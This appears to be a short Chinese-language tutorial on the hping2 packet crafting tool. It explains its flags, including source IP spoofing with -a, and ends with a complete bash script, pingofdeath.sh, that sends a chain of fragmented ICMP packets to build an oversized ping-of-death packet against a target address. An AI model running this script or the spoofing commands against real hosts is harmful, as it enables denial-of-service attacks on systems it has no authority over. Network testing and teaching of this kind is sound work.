hping is a command-line oriented TCP/IP packet assembler/analyzer.
用途有下:
在ubuntu中编译的hping2-rc3版本
hping -h打印出的第一行就指出了目的主机参数的位置
hping host [options]
hping 10.10.10.10
如果没有指定任何参数,它会向10.10.10.10的0号端口以每秒1个包的速率一直运行
hping 10.10.10.10 -c 10
执行的功能是从本地一个随机端口向10.10.10.10的0端口发送了10个tcp数据包。 -c选项指出发送包的数量,等同于--count
hping 10.10.10.10 -i u100000 -c 50
-i 选项用于指定发包的时间间隔,单位是微秒,以u开头,1s=1000ms=1000000us
hping 10.10.10.10 -i u10000 -2 -a 10.10.10.111
-2 选项是用来发送udp数据包,等同于--udp
-a 选项是用来伪造源IP地址
hping 10.10.10.10 -a 10.10.10.111 -s 1234 -p 5678
-s 选项是用来指定源端口,等同于--baseport
-p 选项是用来指定目的端口,等同于--destport
hping 10.10.10.10 -1 -g 65420 -d 1200 -c 1
-g 选项指定分片偏移,等同于--fragoff
pingofdeath.sh脚本
#!/bin/bash
#dst=10.10.10.10
dst=$1
id=186
#14B ethernet header + 20B ip header + 8B icmp header
dsize=1450
let icmpsize=$dsize+8
hping $dst -1 -x -d $dsize -N $id -c 1
for i in $(seq 50)
do
let offset=$i*$icmpsize
hping $dst -1 -x -d $dsize -g $offset -N $id -c 1
done
-N 选项指定IP报头的标识符,等同于--id
-d 选项指定数据包的大小,等同于--data
-x 选项说明该IP包后面还分片,相当于IP报头的M标识位,等同于--morefrag